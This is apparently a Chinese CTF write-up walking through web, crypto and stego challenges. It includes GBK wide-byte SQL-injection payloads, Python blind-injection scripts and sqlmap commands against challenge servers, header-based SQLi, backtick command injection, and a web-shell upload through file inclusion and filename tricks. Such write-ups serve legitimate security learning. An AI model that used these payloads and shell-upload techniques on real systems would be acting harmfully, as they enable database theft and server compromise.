光坂镇的小诗1
六张图对应六个id
首先先判断一下注入点,输入
id=1' and 1=1 %23
可以看到单引号被转义了,想到了宽字节注入:
\ 转义符号url编码是%5c,如果是gbk编码的方式,会把两个字符当成一个汉字来处理,我们输入%df ',加上转义符变成%df ',而%df和%5c恰好可以合成一个汉字:縗 ,成功吃掉了转义符
可以看到没有显示图片,说明and 1=2被成功的注入了
因为发现没有字符的回显,所以判断应该不用union注入,而根据图片有无显示可以判断出是布尔盲注,当然时间盲注也可以,不过时间比较久
这里说一下我之前做的时候是过滤了逗号,后来改了,可以使用
case when() then() else() end
的方法避免逗号,所以先尝试构造
id=1 %df' and (case when(ord(mid((select group_concat(table_name)from information_schema.tables where table_schema=database())from 1 for 1))=102)then 1 else 0 end)%23
mid()函数可以选取字符串中的字符,配合from 1 for 1可以绕过单引号,ord()是把字符串转成ascii码,上面的payload的意思是
选取所有表名的第一个字符,把它转成ascii码和102匹配,102转成字符是f,如果第一个字符为f,则返回1(图片显示),不是则返回0(无图片)
显示了图片,如果随便把改102改成97
没有图片回显,那么就证明了这个方法可行,而且表名的第一个字是102,也就是f,接下里就可以写python一个个跑出表名,字段名和flag了
import requests
for i in range(1,10):
for j in range(32,128):
url = "http://47.94.221.39:8004//index.php?id=3%20%df%27and%20(case%20when(ord(mid((select%20group_concat(table_name)from%20information_schema.tables%20where%20table_schema=database()%20)from%20{0}%20for%201))={1})%20then%20 1%20else%200%20end)%23"
res=requests.get(url.format(i,j))
if 'img' in res.text:
print(chr(j))
有两个表名,我们选择flag这个表,接下来爆列名,因为要用到table_name=‘flag’,而单引号有转义,所以我们可以用十六进制代替:0x666c6167
import requests
for i in range(1,10):
for j in range(32,128):
url = "http://47.94.221.39:8004//index.php?id=3 %df' and (case when(ord(mid((select group_concat(column_name)from information_schema.tables where table_schema=database() and table_name=0x666c6167)from {0} for 1))={1}) then 1 else 0 end)%23"
res=requests.get(url.format(i,j))
if 'img' in res.text:
print(chr(j))
同样爆出列名也为flag,最后爆flag
import requests
for i in range(1,30):
for j in range(32,128):
url = "http://47.94.221.39:8004//index.php?id=3 %df' and (case when(ord(mid((select group_concat(flag)from flag)from {0} for 1))={1}) then 1 else 0 end)%23"
res=requests.get(url.format(i,j))
if 'img' in res.text:
print(chr(j))
得到flag
光坂镇的小诗2
和光坂镇1一样,不过这里没有转义单引号,所以我们可以直接使用sqlmap获得flag
sqlmap -u "http://47.94.221.39:8005/?id=1" --dbs
选择数据库为ctf,获取表名
sqlmap -u "http://47.94.221.39:8005/?id=1" -D ctf --tables
选择表名,获取列名
sqlmap -u "http://47.94.221.39:8005/?id=1" -D ctf -T flag --columns
最后选择列名flag获取flag:
sqlmap -u "http://47.94.221.39:8005/?id=1" -D ctf -T flag -C flag --dump
WEB1
一进去就弹窗backup file,隐藏的文件,御剑扫描后台扫到www.zip文件,访问得到源码
GET传参令un=0a即可绕过第一个限制,获得了前半部分flag
POST传参ctf不能为数字且ctf要大于87654321,可以把ctf弄成数组即可绕过限制
WEB2
首先是一个文件上传页面,尝试上传php,无法上传,
怎么绕也绕不过,只能先上传图片马试试:
GIF
上传成功后得到了文件路径/uploads/3.jpg
御剑扫目录
访问file.php,
根据信息应该是文件包含了,尝试:
file=./uploads/3.jpg
成功显示了GIF98,说明该jpg文件包含成功了,php里的一句话木马也成功执行,接下来就可以执行命令了
访问uunnccttff里的flag
simple_calc_1
F12->network,再刷新一下,发现了一个backend目录:
访问,发现是一个统计次数的东西
后来给出了hint:XFF伪造,尝试加个xff头:
X-Forwarded-For: 127.0.0.10
因为我之前没注意到这个目录时用127.0.0.1试了很多次,所以这里改了一下ip
可以看到count变成了1,在根据第二个提示sqlmap,联想到sql注入,构造
XFF: 127.0.0.10' and 1=1#
次数正常增加,构造:
XFF: 127.0.0.10' and 1=2#
次数变成了1,那么就可以认定此处就是注入点了,就不手工注入了,还是用神器sqlmap吧
sqlmap -r 456.txt -D ctf -T flag -C flag --dump
simple_calc_2
hint:计算的时候抓包看看?
那就抓包看看
看到cmd就想起了命令执行,先看看能不能ls吧,什么都没执行
但是在ls;后随便加一个字母,前面的内容便会被输出
那么可以使用反引号执行命令
可以看到成功列出了目录,然后一路返回目录,发现了flag.txt
但是cat命令却不能读出flag.txt
百度了一下linux的其他输出方式
cat 由第一行开始显示内容,并将所有内容输出
tac 从最后一行倒序显示内容,并将所有内容输出
tac flag.txt
NSB Reset Password
首先是一个登录页面,看到找回密码想到逻辑漏洞,应该是要找回admin的密码,找回密码分为三个步骤,填用户名,填验证码,改密码,本来想着抓包修改一下找回密码的信息,但是只能抓到这个
一发包直接把验证码发出去了,但是我们可以这样,首先注册一个账号phoebe,用这个账号找回密码
在填写收到的验证码
到了第三步改密码,改url到第一个找回密码页面,也就是填账号的地方,填admin,让系统误以为改密码的账号是admin,然后再跳到改密码页面,尝试改密码,登录admin
成功了
NSB_Login
还是一个登录页面,不过好像不能注入
右键查看源代码
看到了I like rockyou,想到kali中有个自带的字典就叫rockyou,尝试暴力破解
check_in_A
史上最简单签到题
上传给小姐姐的照片
首先是一个文件上传的页面
burp抓包看看
可以看到它把文件分为两部分拼接而成,url中的文件名和post传参的文件名,那么我们是不是可以尝试让url的文件为phoebe.jpg,post中的文件为.php,
这样就拼接成了phoebe.jpg.php
上传之后到upload页面下看看
可以看到文件后缀为php,用蚁剑尝试连接
连接成功,找到flag
原来还有个备份文件.index.php.swp,是php的源码
不过只要能绕过验证怎么样都行
快乐游戏题
快乐就完事了,真的是一个游戏 ,把猫困住就得到了flag
我的头怎么了
点击下载附件得到了
右键另存为到桌面发现是一张gif,根据题目想到应该添加gif的头,用winhex执行这一操作
保存之后打开,我用的是截图的方法,看手速吧
长安十二时辰
下载附件打开,一个图片,一个提示
为此特地好好的查了一下长安十二时辰的望楼密码
看一下给的密码
一个数由三组方块组成,分别代表个十百,那么就可以一一对应
117,102,115,115,95,121,110,123,99,95,101,125,99,109,95,115,97,116,49,49,48,53
根据提示现代加密,查询ascii码表,得到了ufss_yn{c_e}cm_sat1105,再根据越过栅栏这个提示,使用栅栏密码